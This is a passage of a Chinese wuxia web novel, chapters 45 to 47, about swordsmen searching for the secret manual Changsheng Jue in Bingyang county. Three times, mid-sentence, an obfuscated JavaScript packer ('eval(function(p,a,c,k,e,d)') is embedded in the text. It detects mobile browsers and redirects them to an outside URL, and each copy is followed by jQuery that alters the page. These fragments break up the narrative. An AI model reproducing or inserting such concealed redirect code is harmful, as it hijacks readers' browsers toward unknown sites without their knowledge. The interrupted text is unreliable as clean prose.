方隐攸说到这里有些尴尬的看了一眼柳扶斐,这还是他第一次求人办事,对方还是个文雅的书生,当真不知道要如何开口。 柳扶斐接收到他的视线,看着施亦礼继续道:“我们也有一件事想请你帮忙。” 施亦礼坐端正了看着他,“请讲,只要在下能帮必然不推辞。” “我们想请你帮我们在这并阳县里打探些消息。” “什么消息?” “关于长生诀的消息。” 施亦礼一愣,“长生诀?世上当真有这个东西?我还以为是我那个店小二在胡言乱语。” 柳扶斐点点头,“那是一本武林秘籍,里面记载的是可以掌控整个江湖的神功,如今只怕是所有江湖人都在打探长生诀的消息。” “施老板不是江湖中人,又有一家酒楼,探听消息也方便,就是不知道施老板愿不愿意了。” 施亦礼毫不犹豫的点点头,“当然愿意,从明日开始我便亲自去酒楼做掌柜,为你们打探消息。” 方隐攸和柳扶斐对视一眼,然后朝着施亦礼感激一笑,“多谢。” 45. 再见崔清止 第二日晌午时,施亦礼从酒楼带回来了一个消息——如今江湖中人尽知,长生诀就在并阳县内,只是目前还不知晓其究竟在何人手里。 “那些人身穿道袍,一手拿拂尘一手执长剑,我猜应该是雪窦山上的佘道教。”施亦礼看着方隐攸,“他们入了酒楼后并未多言,还是我去后厨时恰好遇见其中的两个小弟子,假意与他们交谈才探出来的消息。” “他们具体如何说的?” “说是几日前忽然有一个浑身浴血的弟子回教内递的消息,那弟子伤势极重,只说了一句——冀州并阳县内有长生诀便死了。” “几日前?”方隐攸和柳扶斐对视一眼,那不就是他正好重伤在章台村修养的时候吗?难怪他没有听到任何风声。 “可是,在下久在并阳县,倒还从未听说过什么长生诀。”施亦礼纳闷的看着两人,“也不知道这消息是从哪里传出去的。” “江湖人自有一套消息传递的路径,你不在江湖,不知道也正常。”方隐攸的手指在桌上轻点两下,“现在我们只知道长生诀在并阳,至于其他的...” 忽然,方隐攸眼睛一亮,“郭奇谅来这里有几日了,他必然已经探听到了更多的消息。” 柳扶斐不解的望着他:“郭奇谅是谁?” 方隐攸想起来这人对江湖所知甚少,于是解释道:“他是江北猛虎帮的帮主,和韩桓临常年不对付,那天在施兄酒楼里和韩桓临起冲突的就是他。” “他既然也是来抢长生诀的,怎么会把消息告诉你?” 方隐攸朝着柳扶斐挑挑眉,强忍着笑意说道:“我曾经与他打过交道,称他一声郭大哥。郭奇谅这个人性格直爽、为人仗义,可以说是毫无城府,他与韩桓临有怨,无论是谁,只要在拜见时大喊三声韩桓临是猪狗不如的牲畜,他就会觉得那人与自己是一路人。” 柳扶斐狐疑的盯着他,“若是当真如此,他怎么做的帮主?帮里的那群人会服他吗?” “因为猛虎帮里的人都如郭奇谅这般性格,要知道入猛虎帮的前提就是需要在胸口刺上一个义字。” 柳扶斐抬手扶额,顿感无语,难怪叫猛虎帮,原来都是一群有勇无谋之徒。 之后,两人从施府离开去找郭奇谅,并且约定好隔一日方隐攸来一趟施府,到时候施亦礼再将探听到的消息告诉他。 . 施府后门外是一条小巷子,巷口种了一棵枣树,如今枝条上抽满了新芽,看上去郁郁葱葱,想来等到秋季就会结满树的果。 柳扶斐看着枣树,眼角余光落在方隐攸身上,“这并阳县虽然不大,可是想找一个人也不容易,你怎么知道郭奇谅在哪里?” “他比我更爱酒,施兄不是说了吗,并阳县有美酒的地方,除了他家的的酒楼也就只有城南的金波酒肆了。”方隐攸笃定的说道:“郭奇谅肯定在那里。” 两人赶到城南的金波酒肆门前时,酒肆的大门关着,檐下伸出来一个酒帘,上面写着闭店两个大字。 方隐攸扯住一个过路人,指着那酒帘问道,“这酒肆什么时候关的门?” 路人是个上了年纪的老头,被他一扯差点没摔在地上,不满的打量了一眼方隐攸后,发觉他执长剑,于是收起脸上的不满,有些窝火的回道:“就前几日,说是将酒肆卖给了一个江湖人,那人买了酒肆也不开门做生意,当真是奇了怪了。” 方隐攸说了一声多谢,然后看向柳扶斐,“看来他确实在里面。” 这酒肆是一个前楼后院的格局,眼下楼里的窗户都关着,让人无法看清里面的情况。 “那进去吧。” 方隐攸点点头,握住柳扶斐的手腕将人扯到身后,然后侧过脸看着他,“你跟在我后面,自己小心些。” 柳扶斐拍了拍腰间的软鞭,“你可不要小瞧了本公子的实力。” 说完,他还朝着方隐攸挑了挑眉,表情张扬又得意。 方隐攸看着他,一个唇红齿白的贵公子说出这句话,莫名其妙的让他觉得有些有趣,他忍不住轻笑一声,抬手拍了拍他的肩膀,“好。” 柳扶斐见状心里闪过一丝窃喜,原来这榆木疙瘩一般的武夫喜欢这样的。 方隐攸上前一步敲了敲门,“有人在吗?” 等了许久都等不到回应,方隐攸直接一剑劈开了门,一抬眼就看到屋里的一群人正虎视眈眈的盯着他们,站在最前头的正是郭奇谅。 郭奇谅瞪着两人,手里的的大刀往地上一跺,“你们两个瘦猴子般的小玩意,竟然敢闯爷爷我的地盘,不要命了?” 方隐攸上前一步,朝他抬了抬下巴,“郭大哥,你再仔细瞧瞧,看看我是谁?” 郭奇谅闻言仔细的上下打量方隐攸一番,然后大笑一声,将手里的大刀扔给后面的兄弟,张开手朝他走了过来,“方老弟!” 方隐攸也哈哈大笑两声,“是我!” 郭奇谅用力的拍了拍他的肩膀,“好久不见啊方老弟!”他继而看向柳扶斐,“这位小兄弟是?” 方隐攸笑看着柳扶斐,并没有说出他的真名,而是说道:“这位是柳傅文,是我的结义兄长。” “哦?”郭奇谅好奇的看着柳扶斐,“柳傅文?倒是没听说过这么一号人。” 柳扶斐抬手一拜,“在下只是个籍籍无名之辈,郭大哥自然从未听闻。” 郭奇谅无所谓的摆摆手,“说这些文绉绉的话说什么?管他有名无名,既然是我方小弟的兄长,那便也是我郭奇谅的兄弟。”说着,他抬手揽住柳扶斐的肩头,“走!好不容易见一面,快来陪大哥我好好喝个够!” 方隐攸不动声色的朝着柳扶斐使了个安抚的眼色,然后两人便随着郭奇谅朝着后院走去。 酒肆的后院里堆满了酒缸,里面装得皆是刚酿好的酒,一走进院子就能闻到扑鼻的酒香。 郭奇谅为了喝酒方便,直接在院子中间辟开了一块地,里面摆着一张方桌,桌子上还摆着几盘热气腾腾的大鱼大肉。 最让方隐攸意外的是,桌边还坐着人一个男人,他戴着一个遮住上半张脸的面具,穿着一件草色长袍,看到他们走过来时立刻起身相迎。 郭奇谅面向男人问方隐攸,“方老弟,你可知道这位是谁?” 方隐攸再次看向男人,与他四目相对,轻笑一声语气笃定的说道:“崔清止,崔家的第九代孙。” 郭奇谅一惊,本就圆且大的眼睛睁得老大,“奇了怪了,你怎么知道的?” 崔清止取下面具,朝着方隐攸清浅一笑,“郭大哥,他就是我向你说的——从韩桓临手里冒死将我救出来的恩人。” “原来如此。”郭奇谅用力一拍方隐攸的后背,“干得漂亮!不愧是我郭奇谅的兄弟!那韩桓临就是个不讲武德的虚伪小人!” 方隐攸看着崔清止,“我原本以为你会找个地方就此隐居,没想到你竟然还敢入江湖。” 崔清止无奈一笑,“入不入江湖哪里是我能决定的。” “行了行了,先喝酒!”郭奇谅打断两人的话,将方隐攸按在自己身侧坐好,然后朝着崔清止和柳扶斐招了招手,“清止、柳兄弟,你们也坐下,我们边喝边聊!” 柳扶斐看一眼方隐攸,他身形瘦削,郭奇谅又魁梧的可怕,两人共座怎么看怎么滑稽。 等到几人都坐定以后,下面伺候的那些小弟十分有眼力的都退出了院子,整个院子便只剩下了他们四人。 郭奇谅和方隐攸喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810184|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几碗酒、吃了几块肉以后忽然想起来问道:“方老弟,你怎么突然来找哥哥我了?是不是遇到什么麻烦了?别怕,不管什么问题,大哥都能帮你摆平!” 方隐攸抬手擦干净嘴边的酒渍,“我听说长生诀在并阳县里,就想来凑凑热闹,又听说郭大哥也在这里,就来找大哥叙叙旧。” “诶!”郭奇谅闻言重重的叹一口气,烦闷的将碗里的酒喝了个干尽,扯开嗓子就开始骂韩桓临,“大哥我本来已经快要找到长生诀了,姓韩的那个狗东西忽然来横插一脚,坏了老子的好事!” “什么?”方隐攸立刻愤愤不平的帮腔,“他竟然敢坏郭大哥的事!看来上次我就该顺手了结了他!” 郭奇谅挽起衣袖,露出粗壮的胳膊,语气凶狠的说到,“他的狗命我亲自去取,不劳烦方老弟。” 崔清止端起酒杯抿一口酒,淡淡道:“韩桓临大概已经知道长生诀在哪里了。” 方隐攸看向他,用眼神催促他再说仔细些。 崔清止于是继续道:“那日我与郭兄打探到,这消息最初是从县里一个乞丐嘴里说出来的。” “乞丐?” “对。”崔清止点点头,“而且是个不到十岁的孩提,我们找到了那个乞丐,他说有一日的半夜,他饿的实在睡不着,想去偷点吃的。” “路过一个路口时,他听到有人在说长生诀。” 方隐攸困惑的望着崔清止,“他一个乞丐,怎么会知道长生诀?还将这件事传了出来?” “这也正是这件事蹊跷的地方,但是还不等我们问清楚,韩桓临就带着许多人来了,然后他又趁乱杀了那个乞丐,让我们的线索断在了这里。” 柳扶斐看着崔清止,“那你又怎么知道韩桓临眼下已经知道长生诀在哪里了呢?” 崔清止的手摩挲着碗壁,垂眼看着桌上的卤肉,“事后我又回去看了一遍,才发现那个乞丐被掉包了,死的那个是假的。” “什么?”郭奇谅噔的一下站了起来,“你怎么现在才告诉我?” 崔清止无奈的叹一口气,“我是怕郭大哥一时气愤,冲动行事。” 郭奇谅将手里的酒碗用力的往地下一摔,“明明是我猛虎帮的兄弟先找到的那个小乞丐,他姓韩的竟然敢用这种卑劣的手段将人抢走?” 方隐攸安抚的拍了拍郭奇谅的手臂,“郭大哥别气,我既然来了,肯定就不会再让郭大哥平白无故受这个气。” 郭奇谅喘了一口粗气,愤懑的坐回长椅上,“方老弟有什么办法?” “不管韩桓临眼下知不知道长生诀在哪里,我们都要放出消息,让整个并阳县里的江湖中人认定韩桓临知道。” “虽然如今武林中人并不遵从他,但是他至少明面上还是武林盟主,那就要为整个武林考虑,既然知道了长生诀的所在,他韩桓临就不能独吞,而是应该和整个武林商议如何处置长生诀。” “而且,我相信其他人一旦听闻韩桓临知道长生诀在哪里,必然也会将他架到高处,让他不得不做这个正人君子,否则就是与整个武林为敌。” 郭奇谅听闻方隐攸这一段话以后,不解的转了转眼珠,然后看向崔清止,“你说,方老弟此计可以吗?” 崔清止点点头:“可行。”说完,他的手指轻点碗壁,发出一声清脆的声响,“只是,以我对韩桓临的了解,他只怕不会做正人君子。” “所以此计虽然不能让韩桓临将长生诀的所在公之于众,不过却可以让他成为众矢之的,到时候就算是他当真拿到了长生诀,也不一定能安然无恙的将其带回他的南山派。” “好!”郭奇谅一拍桌,然后端起一碗酒仰头喝尽,“我现在就去让弟兄们把消息散出去!” 46. 叶沉君 等到郭奇谅去前屋以后,院子里便只剩下三个老相识。 崔清止看一眼柳扶斐,戏谑的问方隐攸,“方兄不是说自己是柳公子的镖师?怎么如今反倒来一起找长生诀了?” 他又看向柳扶斐,“柳公子不回京城了?” 柳扶斐扯了扯嘴角,看向方隐攸,想看看他会如何说。 “他担心我,所以一起来了。” 方隐攸说的直白又坦荡,说完以后还特意嘱咐崔清止,“我和郭大哥说他是我结拜的兄长,你可别说漏嘴了。” 崔清止眼里闪过了然的光,“看来我当时便猜的没错。” “什么没错?” “你们看上去不像是镖师与雇主,反倒像是行走江湖的侠侣。” 方隐攸一愣,困惑的望着崔清止,“你在胡言乱语些什么?” 崔清止但笑不语,转头看向柳扶斐,“柳兄只怕是很为难吧,我看方兄不像是个知情趣的。” 柳扶斐朝他敬一杯酒,“不为难。” 方隐攸听他们说的云里雾里的,不解的看向柳扶斐,“我怎么不知情趣了?” 柳扶斐拍了拍他放在桌上的手背,“他就是在胡言乱语。” 崔清止笑出了声,起身长呼了一口气,“我就不打扰二位了。” “等等。”方隐攸叫住他,“你怎么会来这里?还和郭奇谅在一起,你不要命了吗?” “要,这命可是方兄好不容易救出来的,我自然珍惜。”崔清止垂首看他,“我只是不想韩桓临如愿,所以来盯着他。” 方隐攸看向他垂在身侧的右手,“你的手好了?” “废了。” 方隐攸更加不解,“你一个废人,还想来阻止韩桓临?” 崔清止抬起左手仔细打量,“不是还有这只手吗?” 方隐攸呵呵一笑,端起面前的酒碗一饮而尽,“我只会救你一次。” “方兄的恩情崔某铭记于心,只是这次我若有难,还请方兄不必救。” 方隐攸咬牙瞪着他,“我本就不会救。” 崔清止朝他躬身一拜,又朝着柳扶斐笑了笑后便走了。 柳扶斐望着他的背影,感叹道:“我能理解他。” “你又不是江湖中人,也没经历过他的那些遭遇,怎么能理解他?” 柳扶斐侧过身子,撑着下巴望着方隐攸,“他当初在盟主争夺赛上,拼死才撕破了韩桓临虚伪的一面,如今如果让韩桓临拿到长生诀,重新站到武林巅峰,江湖中人谁还敢再议论他?” “我虽然不是江湖中人,却也知道江湖是以强者为尊的地方,韩桓临成为强者便也成为了尊者。” “到时候,那群人自有千百种理由替韩桓临屠人满门一事开脱,弄不好崔家还会被安上一个污蔑的罪名。” “所以,崔清止必须阻止韩桓临成为下一个闻人焕厉。” “我知道,你也能理解崔清止的行为,只是不愿意看到他好不容易有活的机会,又跑来送死。” 柳扶斐说完喝了一口酒,辛辣的味道让他忍不住皱起了眉,“这酒真难喝。” 方隐攸赞同的点点头,“是没施兄府上的好喝。” 柳扶斐呵一声,“那是因为你没喝过京城醉仙楼里面的醉仙酿,那才叫仙品。” 方隐攸敷衍的噢一声,站起来打了个酒嗝。 “既然他活腻了,我也不会再多管闲事。”他朝柳扶斐招招手,“走吧,我们也去帮着郭奇谅的人散布谣言去。” “你要做什么?” 方隐攸挑挑眉,“还记得施兄晌午时说的佘道教吗?他们教主叶沉君有趣得很。” 柳扶斐原本还好奇方隐攸所说的有趣是什么意思,但是当他看到方隐攸将叶沉君堵在角落里面,叶沉君竟然满脸通红的望着方隐攸的时候,整个人都变得阴郁起来。 “方隐攸,这就是你说的有趣?” 方隐攸回首看他一眼,手搭在叶沉君的肩膀上将人带到柳扶斐面前,“他每次见到我便是这副样子,难道不有趣?” 说着,他看向叶沉君,朝他挑挑眉调侃道:“叶沉君,我们也有半年未见了,怎么你这脸红的毛病还是没治好呢?” 叶沉君咬牙切齿的瞪着他,眼下明明是春季,他却像是在酷暑里面暴晒一般,出了满脸的汗。 柳扶斐注意到他执剑和握拂尘的手都用力到关节泛白,有些同情的叹了口气,看来有人比他更可怜。 柳扶斐伸手将方隐攸扯了过来。 “你真是害人不浅。” 方隐攸十分不解,“我怎么了?” “你当真不知他为何如此?” “知道啊!”方隐攸看向叶沉君,“他打不过我,所以怕我。” 叶沉君闻言眼中闪过一丝羞愧,梗着脖子低吼了一声:“方隐攸,你别乱说!” “我哪有乱说?”方隐攸凑到他身边,“你难道忘了,你可是连我的三招都接不住。” “那是…”叶沉君话只说了一半便垂下了头,不肯再说。 “好了好了,这次我先让你三招,如何?” 叶沉君抬头看他,眼神变得欣喜,“当真?” “自然是真的。” 说完,方隐攸将手里的可生剑扔到柳扶斐怀里,“替我拿好。” 叶沉君看着他的动作,不可置信的看着他,“你怎么把可生剑给他了?” “不是说让你三招?” 叶沉君满脸失落的噢了一声,然后与他一同走到宽敞的地方。 “方隐攸,你还记得当初答应我的事吧?” 方隐攸点点头,“记得,只要你能赢我,我便入你佘道教。” 柳扶斐一听,脸色瞬间沉了下来。 方隐攸这个蠢货,怎么什么诺都敢许。 叶沉君满意的点点头,脸上终于浮起了几分笑意,“方隐攸,总有一天我会打赢你。” 方隐攸活动活动肩膀,姿态散漫的朝他抬了抬下巴,“先打了这回再说。” 叶沉君回了声好,整个人都变得严肃起来,看着方隐攸的眼神变得锐利,手中的长剑出鞘,剑刃上闪过一道寒光。 方隐攸朝他招了招手,“来吧。” 叶沉君并没有贸然出击,而且仔细的观察了他一会,然后迅猛的冲向他。 叶沉君的长剑前刺、拂尘斜挥,分别朝着方隐攸的前胸、侧肩而去。 方隐攸既要让他三招,便不能回击,于是跃到空中,脚尖轻点他的剑刃,翻身落到他身后。 “一招。” 叶沉君闻声而动,手中的长剑和拂尘瞬间朝身后挥去。 方隐攸这次往前一步,抵住他的侧肩然后委身从他臂下穿过,安然无恙的再次躲过他的一击。 “两招。” 叶沉君咬紧牙根,回首瞪他一眼,侧着身子在空中翻腾一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810185|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长剑和拂尘都劈头盖脸的由上而下朝着方隐攸打来。 方隐攸右腿往前一伸,整个人平躺着往前滑行半丈远,完美错开他的攻击。 “三招。” 话音一落,柳扶斐将手里的可生朝方隐攸一扔,他抬手接住,然后利落的拔剑出鞘。 方隐攸看向叶沉君,“该我出手了。” 叶沉君屏住呼吸,一眨不眨的盯着他,长剑和拂尘护在身前。 方隐攸看他这副警惕的模样,忍不住勾了勾嘴唇,朝他露出一个张扬而挑衅的笑。 随后,他如闪电般逼近叶沉君,手腕一转用可生挑开他身前的长剑,然后反手收剑用剑柄重重的敲了一下他握拂尘的手。 等到叶沉君手里的拂尘猝不及防的落下时,方隐攸俯身接住拂尘,然后用拂尘抵住了他的脖子。 方隐攸的速度非常快,一切都发生在眨眼间的功夫里,所以等叶沉君反应过来时,也已经是他被方隐攸把握住命门的时候。 叶沉君的视线落在方隐攸执拂尘的那只手上,“我输了。” 方隐攸哈哈一笑,握着拂尘轻扫了一下他的肩膀,然后将拂尘扔在他怀里。 “输了,那便帮我个忙。” 叶沉君点点头,“好。” “让你手底下那些人去城里散布一条消息。”方隐攸的语气变得严肃,“就说韩桓临已经知道了长生诀在哪里,并且不日就要去取。” 叶沉君闻言一愣,“这消息是真还是假?” “不清楚。”方隐攸顿了一下,意味深长的望着他,“但是传出去就是真的了。” 叶沉君点点头,并未多问,“我会安排人去做的。” 方隐攸双手环胸,抱着可生在他身侧踱步,打量着他问道:“叶沉君,你不是一向清高的吗?怎么也来并阳找长生诀了?” 叶沉君闻言连连摆手,“我不是为了抢长生诀,我是要毁了它。” 他话音一落,一直沉默的站在一旁的柳扶斐立刻走了过来,他将方隐攸扯到身边,“有人来了。” 方隐攸点点头,朝着叶沉君摆了摆手,“先走了。” 叶沉君望着他,欲言又止。 柳扶斐直接揽住方隐攸的肩膀,两人迅速的消失在了拐角处。 等到走远了,方隐攸不解的看向柳扶斐,“我怎么没有察觉到有人过来?” “是吗?那可能是我弄错了。” 柳扶斐说完,踌躇了片刻后,貌似无意的问道,“你似乎很相信他?” 方隐攸点点头,“那是自然,我做刺客后的第一个雇主就是他,也算是老友了。” 柳扶斐一愣,他还真没想到两人竟然是这种关系。 “他看上去不像是会雇刺客杀人的人。” “所以他雇我杀的是一只雪狐。” “啊?”柳扶斐愕然,“雪狐?” 方隐攸嗯一声,“那日我不知为何上了雪窦山,他恰好也孤身从山上下来。” 此时天色渐晚,方隐攸抬头看向远处夕阳,语气变得感慨,“我对那段日子的记忆模糊的很,只记得我原本想要杀他,可是他却让我替他猎一只赤狐,然后给我了一百两银子。” “之后,我便开始做刺客了。” 柳扶斐侧过脸,看着方隐攸的双眼,盛满夕阳的琉璃眼珠里面尽是失意,让他好奇那究竟是一段怎么的过往,可以让肆意的方隐攸露出这样的眼神。 47. 宅子 在郭奇谅和叶沉君两帮人的推波助澜之下,不出三日整个并阳县里的江湖人都知道了当今武林盟主韩桓临已经知道长生诀在哪里的消息。 随后,他如今在并阳县城的落脚地也被找了出来,方隐攸和柳扶斐两人混在人群里面,遥望着看上去十分破败的宅邸。 柳扶斐嫌弃的啧啧嘴,“郭奇谅都知道给自己找个并阳县最好的酒肆落脚,怎么韩桓临就找了这么个地方?” “这宅院虽然破落,但是它周围没有任何遮蔽,不好藏人也不好借力翻墙,对韩桓临来说,安全才是最重要的。”方隐攸看着宅院高约两丈的院墙,“这院墙比城中其他地方的院墙高了不少。” 宅子门口眼下已经围满了人,都是江湖上排得上号的门派的门众。 各位掌门、帮主站在最前面,仰着头朝着里面高呼,“韩盟主,我们诚心前来拜见,你为何不开门?难道不想做这盟主了不成?” 柳扶斐用肩膀轻撞了一下方隐攸,“你说韩桓临会开门将人请进去吗?” “你要是寻到了宝藏,有人要来分你一杯羹,你会干吗?” “当然不会。”柳扶斐说完朝他狡黠一笑,“不过来人若是姓方名隐攸,本公子倒是可以考虑考虑。” 方隐攸无语的瞟他一眼,继续看向人群。 一个穿着一身锦衣长袍的中年男人忽然怒喝一声,手里的长枪用力的往身前一跺,“好你个韩桓临,多年前为了强夺秘籍屠人满门,如今又为了一本长生诀连江湖道义都不讲了吗?” 男人看向周围的人群,义愤填膺的继续说道:“我等多年前都曾受过闻人焕厉的恩惠,如今他的长生诀再次现世,必然要继承他的遗志,将长生诀妥善处理,怎么可以让你这个卑鄙无耻之徒独占?” 柳扶斐凑到方隐攸耳边问,“他说的是真的吗?他当真受过闻人焕厉的恩惠?” “若是真的,当初闻人焕厉被杀的时候怎么没见他们去救?都是些假话而已。” 柳扶斐撇撇嘴,继续看着那个锦衣男人。 男人说完将手里的长枪在身前一转,然后猛地朝前一掷,直愣愣的插入了那扇破木门里。 随后,他上前一步,握紧长枪用力一震,破门顷刻间化作一地碎屑,露出里面院中的情景。 柳扶斐透过门扉往里仔细的看了看,疑惑的皱起了眉,“里面好像没有人。” 方隐攸闻言一愣,握住柳扶斐的手腕往前几步,靠近那群掌门、帮主,想听听究竟发生了什么。 堵在门口的人眼下也看出了异样,几个人迅速跑进院子里面仔细翻找了一遍后急冲冲的跑了出来,“一个人也没有,韩桓临已经跑了!” 锦衣男人扯过一个瘦高的少年,“你当真看到韩桓临他们进了这个宅子?” 少年弯着腰,哆哆嗦嗦的回道:“门主...我当真看到了!就是昨日下午酉时三刻左右,他们一群人浩浩荡荡的从这个门进去的!” 锦衣男人咬牙哼一声,将少年甩到一旁,怒吼一声,“那里面怎么会空无一人?” 一个手拿大刀的魁梧男人握紧手中大刀往地上一砍,“坏了,他肯定是去找长生诀了!” “我们寅时就来这里堵着了,他是什么时候走的?” “你们寅时来,我们子时就来了!这个院子里连只苍蝇都没有飞出来过,更何况是韩桓临一众几十个人?” 锦衣男人咬牙切齿的朝着自己门派里的人挥了挥手,“给我找!把整个并阳县给我一寸一寸的翻,我就不信找不到姓韩的!” 柳扶斐凑到方隐攸耳边小声问,“这人是谁?这么狂妄?” “他是江南威海门的门主黄逍穹,威海门在江湖上勉强排得上名号,最关键的是他有个经商的兄长黄逍苍,黄逍苍为人圆滑,和江南官场里的人关系处的极为亲密。” “江湖中人尽皆知黄逍苍对黄逍穹非常溺爱看重,所以不到万不得已,没人会去惹黄逍穹。” 柳扶斐了然的点点头,“就是说黄逍穹这人背后有官府撑腰?” “可以这么说。” 方隐攸说完,带着柳扶斐出了人群,去宅子对面的一个面馆要了两碗面。 “多放些肉,我家公子有钱的很。” 方隐攸说着指了指身侧的柳扶斐。 柳扶斐闻言扯了扯嘴角,掏出一锭银子递给老板,“按他说的,多放些肉。” 老板接过银子,老板娘过来将人引到桌子边坐下,然后端来几盘自己做的腌菜放到桌子上,笑道:“两位看着面生,也是近期来的江湖中人吧?” 方隐攸点点头,“老板在这里开面馆多久了?” 老板娘反手锤了捶有些酸的后腰,仔细回忆了一下,“有六年了。” 方隐攸指向对面的宅子,“那你知道这间宅子原来住的是谁吗?” “这宅子我和我家男人来这里开面馆的时候就已经空着了,要说这里原来住的是谁...”老板娘思忖片刻,转头看向在灶台上忙活的男人,“老张头,你知道这宅子里原来住的是谁吗?” 老板撒下一把青菜到锅里,随口回道:“是个淘沙官,听说是挖了不该挖的东西,死在墓里了,至于究竟是死在哪里的哪个墓里,也没人能说个清楚。” 方隐攸笑着点点头,“原来是这样...那他也没个后人什么的?这宅子就这么空下来了?” “后人?这个我就不清楚了,只听说他是从京城来的,这宅子还是他来了之后建的,反正没听到有人说他还有家眷什么的。” 说着,老板端来两碗热气腾腾的面放在桌上,好奇的望着两人,“老张头我多嘴问一句,这么多人围在这宅子外面,是不是发生了什么事?” 方隐攸随手将肉多的那碗面推到柳扶斐面前,“有人强占了这个宅子,外面的那些人正在声讨他。” “竟然有人敢强占这个宅子?”老板神秘兮兮的凑近方隐攸,小声说道:“你是不知道,之前每到半夜里,那院子里总是有稀奇古怪的声音传出来,有次我实在是好奇,就搬了个梯子翻进去看过。”他说着摆了摆手,嘴角下撇,纳闷的说道:“一个人影都看不到,也不像是有人住的,更加弄不清那声音是从哪里传来的。” “稀奇古怪的声音?”方隐攸和柳扶斐对视一眼,“是什么声音?” 眼下也没有客人来,老板直接端了个凳子做到两人身侧,“那声音诡异的很,像是在锯木头,又像是在敲钟,一响就是大半晚。” 柳扶斐放下手里的筷子,看向老板,“这声音是从什么时候开始有的?” 老板摸摸下巴上的短须,仔细回忆。 “从什么时候开始的我不清楚,反正去年中秋节晚上,我喝多了几杯酒,我家婆娘嫌弃我睡觉鼾声重,就把我赶来店里凑活一宿” “我那个时候迷迷瞪瞪的走错了路,也不知道怎么就走到那个宅子的后门去了。”老板凑近两人,压低了嗓子,神秘兮兮的继续道:“然后我就听到院子里有声响,而且那门缝里还有人影和火光,我凑近门缝往里一望,又什么都看不清。” “我当时只以为是我喝多了酒,出现了幻觉。” “可是之后每每我有事半夜回店里,都能听到那个声音。” 老板说着,手在大腿上一拍,“不过,说来也奇怪,最近这个月倒是没再听到这声音了。” 柳扶斐拿起筷子继续吃面,方隐攸碗里的面已经吃干净了,他喝完碗里的面汤,朝着老板笑了笑,“老板这面做的确实不错,再来一碗!” 老板脸色一喜,大笑一声再去给他做面。 老板娘坐上老板刚刚的位置,看着方隐攸,迟疑的说道:“客官,这并阳县里面最近怎么来了这么多江湖人?是不是出了什么事了?” “老板不用担心,江湖人的争端不会波及到旁人的。” 老板娘闻言松了口气,手拍了拍胸口,开始诉苦,“客官,你是不知道,最近来我们这里吃面的人个个手里拿着刀。” “我都担心我家男人的面里的盐放多了或是少了,惹得他们不满意被他们一刀砍了,那我这日子还怎么过咯...” 方隐攸闻言一愣,无奈的笑了笑,“江湖人虽然蛮横,但是也不是这么不讲理的人,老板多虑了。” 老板端着一碗面走过来,手按在老板娘的肩膀上将人推开。 “我跟她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810186|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过好多次不用担心,但是她就是头发长见识短,日日催着我先把这面馆关了,等到你们这些江湖人走了再开门。” 老板坐到凳子上,“好不容易来吃面的人比往常多了一番,哪有关门的道理?” “老板说的——” “砰——” 方隐攸嘴里的话还没说完,一个人影忽然砸到了饭桌上,他立刻拉着柳扶斐躲开,只是刚刚上桌的一碗堆满了肉的面不可避免的全部撒在了地上。 方隐攸一脸郁闷的扫一眼捂住肚子在地上蜷成一团的男人,然后抬眼看向屋外提着长枪的黄逍穹。 他一脸怒意的盯着地上的男人,怒吼道:“吴琮,是不是你将我们要来找他的消息透露给韩桓临的?说!” 吴琮咬牙从地上爬了起来,抖了抖衣裳上的灰尘,然后梗着脖子朝着黄逍穹嗤笑一声,“你放你娘的屁,老子说没有就是没有,他韩桓临是什么人?老子怎么可能和这种畜生狼狈为奸?” 黄逍穹握紧长枪,几步跨到吴琮面前,枪尖指着他的面门,“那为何有人见你昨日晌午时与他在一处?” 吴琮手指着黄逍穹,“老子不过是问了一句长生诀在不在他手里?” “放屁!”黄逍穹手里的长枪往前一伸,与吴琮眉心只隔着半寸的距离,“我门中人说你与他交谈了不止一盏茶的功夫,怎么可能就说了这么一句话?” 吴琮闻言一愣,面红耳赤的指着他骂道:“你哪个门中人说的,把他拉出来和老子对峙,看老子弄不弄死他,个满嘴胡言的东西!” 屋里屋外的人看了半晌,两个人吵了半天没吵出个结果。 柳扶斐伸手扯住方隐攸的衣袖,“咱们走?” 方隐攸摇摇头,“他们得赔我的面,还有老板被砸坏的桌椅。” 说完,他上前一步,动作迅速的抬脚踢开黄逍琼手里的长枪,朝着他冷冷道,“出去吵,你们弄撒了我的面,还砸坏了老板的桌椅,共赔偿十两银子给我。” 老板躲在灶台后面朝着方隐攸小声喊道,“客官,要不了那么多,这些桌椅一贯钱足以。” 方隐攸抬手朝他打了个手势,让他闭嘴躲好,不要做声。 